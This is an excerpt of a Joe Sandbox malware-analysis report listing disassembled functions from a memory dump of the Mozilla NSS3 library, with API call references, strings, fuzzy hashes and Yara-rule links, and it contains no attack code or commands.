Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 7b0c0809a1e1cdb3219e7a6fed3e4d1a7659c0a83e324f4d8069948653837de4
Instruction ID: 88d85d6cba9010b753f69a2e2fa86f70c5fc9a1455c3b54b69e5887e4e134651
Opcode Fuzzy Hash: 7b0c0809a1e1cdb3219e7a6fed3e4d1a7659c0a83e324f4d8069948653837de4
Instruction Fuzzy Hash: 4BF18D71E01209CBEB04CF54D8407ADB7B2BF59358F35816AD925AB781E735E982CF90

Function 6CE84FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CFD0148,?,6CE96FEC), ref: 6CE8502A
PR_NewLock.NSS3(00000001,00000000,6CFD0148,?,6CE96FEC), ref: 6CE85034
PL_NewHashTable.NSS3(00000000,6CEDFE80,6CEDFD30,6CF2C350,00000000,00000000,00000001,00000000,6CFD0148,?,6CE96FEC), ref: 6CE85055
PL_NewHashTable.NSS3(00000000,6CEDFE80,6CEDFD30,6CF2C350,00000000,00000000,?,00000001,00000000,6CFD0148,?,6CE96FEC), ref: 6CE8506D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 9579ed69e18c38f1fa7107e8482992cec15cf035cc7dcd97bbaefbdcf227e82e
Instruction ID: 5905cf6e83dd5f92e103f6c3897104be31242eb96d8bccbef8a08f7d9c8864ca
Opcode Fuzzy Hash: 9579ed69e18c38f1fa7107e8482992cec15cf035cc7dcd97bbaefbdcf227e82e
Instruction Fuzzy Hash: 1231B5B1F136116BFBC09B65884CF5737BA9B1B30CF264118E90A87740EB7A9A04CBD1

Function 6CE22E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE22F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CE22FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CE23005
memcpy.VCRUNTIME140(?,?,?), ref: 6CE230EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE23131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE23178

Strings

%s at line %d of [%.10s], xrefs: 6CE23171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE23022, 6CE23156, 6CE23162, 6CE2318A, 6CE23196, 6CE231A2, 6CE231AE, 6CE231BA, 6CE231C6
database corruption, xrefs: 6CE2316C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 24a560fdcc02a63f4ee4bddc4690f780a76e45e7dc0737fb27861c2917bf86a0
Instruction ID: 4a21dff93118fc6fbdbba5ddb93b0df83816014cec11c5ca1d4effa8220e30be
Opcode Fuzzy Hash: 24a560fdcc02a63f4ee4bddc4690f780a76e45e7dc0737fb27861c2917bf86a0
Instruction Fuzzy Hash: 01B1CF71E042199BDB18CF9DC885AEEF7B5BF48304F24402AE805B7B41D7799842CFA1

Function 6CEF7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEF7FB2

Part of subcall function 6CE7BA40: TlsGetValue.KERNEL32 ref: 6CE7BA51
Part of subcall function 6CE7BA40: TlsGetValue.KERNEL32 ref: 6CE7BA6B
Part of subcall function 6CE7BA40: EnterCriticalSection.KERNEL32 ref: 6CE7BA83
Part of subcall function 6CE7BA40: TlsGetValue.KERNEL32 ref: 6CE7BAA1
Part of subcall function 6CE7BA40: _PR_MD_UNLOCK.NSS3 ref: 6CE7BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEF7FD4

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

Part of subcall function 6CEF9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CEF9466

PR_ExitMonitor.NSS3(?), ref: 6CEF801B
PR_EnterMonitor.NSS3(?), ref: 6CEF8034
TlsGetValue.KERNEL32 ref: 6CEF80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEF80C0
PR_ExitMonitor.NSS3(?), ref: 6CEF811C
PR_ExitMonitor.NSS3(?), ref: 6CEF8134

Strings

), xrefs: 6CEF80DB

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 70fc0c6831cf1bd335e2a908178ca811292f3ba1241f70a968927a033dde8bc9
Instruction ID: 1771f455497ae6caa09b02bf90d4e4592c2d529e7b8892f5551ae804118f06d1
Opcode Fuzzy Hash: 70fc0c6831cf1bd335e2a908178ca811292f3ba1241f70a968927a033dde8bc9
Instruction Fuzzy Hash: 22512872A007049BF7309F369C017DB7BB4AF5330CF64462DD9A946B52EB31A64AC792

Function 6CE9FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CE9FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CE9FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CE9FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE9FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CE9FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CE9FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CE9FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE9FD84

Strings

:, xrefs: 6CE9FD78

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 7bccbd5b3efe2b73cdd598315d9683501c5e8073231590fe063af8a8b0348d0c
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: AB31C0B6E012159BEB008AA4DC457AF77B8AF4535CF350128EC14A7B10E77AE919C7D2

Function 6CEB6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CEB6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB6CA3

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CEB6CD5

Strings

hSession = 0x%x, xrefs: 6CEB6C7E, 6CEB6C8E
pMechanism = 0x%p, xrefs: 6CEB6CD0
(CK_INVALID_HANDLE), xrefs: 6CEB6C9C
C_DigestInit, xrefs: 6CEB6C61

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 8a0de82466daf35468783033f7b1545c326e053cd27d326089a12891d2e2f8f5
Instruction ID: 801a7f7eaaa6e4a353431897b4a5196f054b1b89cbf20b1b60f04f0a2823a56d
Opcode Fuzzy Hash: 8a0de82466daf35468783033f7b1545c326e053cd27d326089a12891d2e2f8f5
Instruction Fuzzy Hash: C4214B30E00104AFDB889B54DE88B6E77B9EB4A31CF154429E508E7B12DF359D0CCB91

Function 6CEB9DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CEB9DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB9E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB9E33

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB9E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CEB9E65

Strings

hSession = 0x%x, xrefs: 6CEB9E0E, 6CEB9E1E
C_SessionCancel, xrefs: 6CEB9DF1
(CK_INVALID_HANDLE), xrefs: 6CEB9E2C
flags = 0x%x, xrefs: 6CEB9E60

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 823d8283d651bf7c1dbe091422280af9e95e869d22044ce0356a508ae7b72111
Instruction ID: b63c45809aa2b238bf8194a919c55b58f07bb3dd3217a4a66c873637e136f60c
Opcode Fuzzy Hash: 823d8283d651bf7c1dbe091422280af9e95e869d22044ce0356a508ae7b72111
Instruction Fuzzy Hash: 1F214630A01108BFEB809B54DE88B7E77B4AB0A30DF144428F909B7701EF358D48CBA2

Function 6CE80F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE80F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE80F84

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CE9F59B,6CFA890C,?), ref: 6CE80FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CE80FC1

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CE80FDB
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE80FEF
PL_FreeArenaPool.NSS3(?), ref: 6CE81001
PL_FinishArenaPool.NSS3(?), ref: 6CE81009

Strings

security, xrefs: 6CE80F5C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 87c645c70c1731577cf915bb51e5e8d47503e7d9ec58e3b6509309e2e62bd4f8
Instruction ID: 81de388fe1284f70652bc2fdb6cdc3ce5d575d4ef9b6e9b4bf5666b6f8e55f28
Opcode Fuzzy Hash: 87c645c70c1731577cf915bb51e5e8d47503e7d9ec58e3b6509309e2e62bd4f8
Instruction Fuzzy Hash: FE2106B1900244ABE7109F24DC41AAEB7B8EF4965CF20851DFC189A701FB32E956CBD2

Function 6CE86DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE87D8F,6CE87D8F,?,?), ref: 6CE86DC8

Part of subcall function 6CEDFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEDFE08
Part of subcall function 6CEDFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEDFE1D
Part of subcall function 6CEDFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEDFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE87D8F,?,?), ref: 6CE86DD5

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CFA8FA0,00000000,?,?,?,?,6CE87D8F,?,?), ref: 6CE86DF7

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE86E35

Part of subcall function 6CEDFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEDFE29
Part of subcall function 6CEDFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEDFE3D
Part of subcall function 6CEDFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CEDFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE86E4C

Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CFA8FE0,00000000), ref: 6CE86E82

Part of subcall function 6CE86AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE8B21D,00000000,00000000,6CE8B219,?,6CE86BFB,00000000,?,00000000,00000000,?,?,?,6CE8B21D), ref: 6CE86B01
Part of subcall function 6CE86AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE86B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE86F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE86F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CFA8FE0,00000000), ref: 6CE86F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE87D8F,?,?), ref: 6CE86FE1

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: abcf382b38dd3014f5a47bbee103d715584780bf39f2a96741e9815a5146997f
Instruction ID: cce9ad1731f75c4e250a13eec38b435570ee000da3f8119c0b5d608f2fffd885
Opcode Fuzzy Hash: abcf382b38dd3014f5a47bbee103d715584780bf39f2a96741e9815a5146997f
Instruction Fuzzy Hash: 7A719F71E216469BDB00CF55CD41BAAB7B9BF9430CF254229E808DBB11F770EA95CB90

Function 6CEC0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEC1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC1085
PK11_GetAllTokens.NSS3 ref: 6CEC10B1
free.MOZGLUE(?), ref: 6CEC1107
PR_SetError.NSS3(00000000,00000000), ref: 6CEC1172
free.MOZGLUE(?), ref: 6CEC1182
free.MOZGLUE(?), ref: 6CEC11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CEC11C5

Part of subcall function 6CEC52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CE9EAC5,00000001), ref: 6CEC52DF
Part of subcall function 6CEC52C0: EnterCriticalSection.KERNEL32(?), ref: 6CEC52F3
Part of subcall function 6CEC52C0: PR_Unlock.NSS3(?), ref: 6CEC5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CEC11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CEC11F3

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 297ecb0a934543c57356f06713a8ea7822fa33d28ea6438b1090e9f1786499aa
Instruction ID: 86a46f1c56d7341a03171dbf621c75df4e164221f1bacb6bc5a9795a65a15dc2
Opcode Fuzzy Hash: 297ecb0a934543c57356f06713a8ea7822fa33d28ea6438b1090e9f1786499aa
Instruction Fuzzy Hash: 676194B5F003459FEB00DFA4D981B9EB7B5AF05348F244128EC29AB741EB71E945CB92

Function 6CECADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE10
EnterCriticalSection.KERNEL32(?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CEAD079,00000000,00000001), ref: 6CECAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE7F
TlsGetValue.KERNEL32(?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAEF1
free.MOZGLUE(6CEACDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEACDBB,?), ref: 6CECAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAF30

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: b75121c9e48049388f5b9179dec9dd689360001124f2937a5676e38f3a5fa2ff
Instruction ID: d6c4c1ef70ebf5c2c59e69cf884f54dc670b408d399f8d5e7f4af7804a67d221
Opcode Fuzzy Hash: b75121c9e48049388f5b9179dec9dd689360001124f2937a5676e38f3a5fa2ff
Instruction Fuzzy Hash: 2551A1B1A40601AFDB40DF29D985B59B7B4FF09318F244668E92897F11E731F8A4CBD2

Function 6CEA4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CEAAB7F,?,00000000,?), ref: 6CEA4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CEAAB7F,?,00000000,?), ref: 6CEA4CC8
TlsGetValue.KERNEL32(?,6CEAAB7F,?,00000000,?), ref: 6CEA4CE0
EnterCriticalSection.KERNEL32(?,?,6CEAAB7F,?,00000000,?), ref: 6CEA4CF4
PL_HashTableLookup.NSS3(?,?,?,6CEAAB7F,?,00000000,?), ref: 6CEA4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CEA4D10

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CEA4D26

Part of subcall function 6CF49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DC6
Part of subcall function 6CF49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DD1
Part of subcall function 6CF49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF49DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CEA4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CEA4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CEA4E02

Memory Dump Source

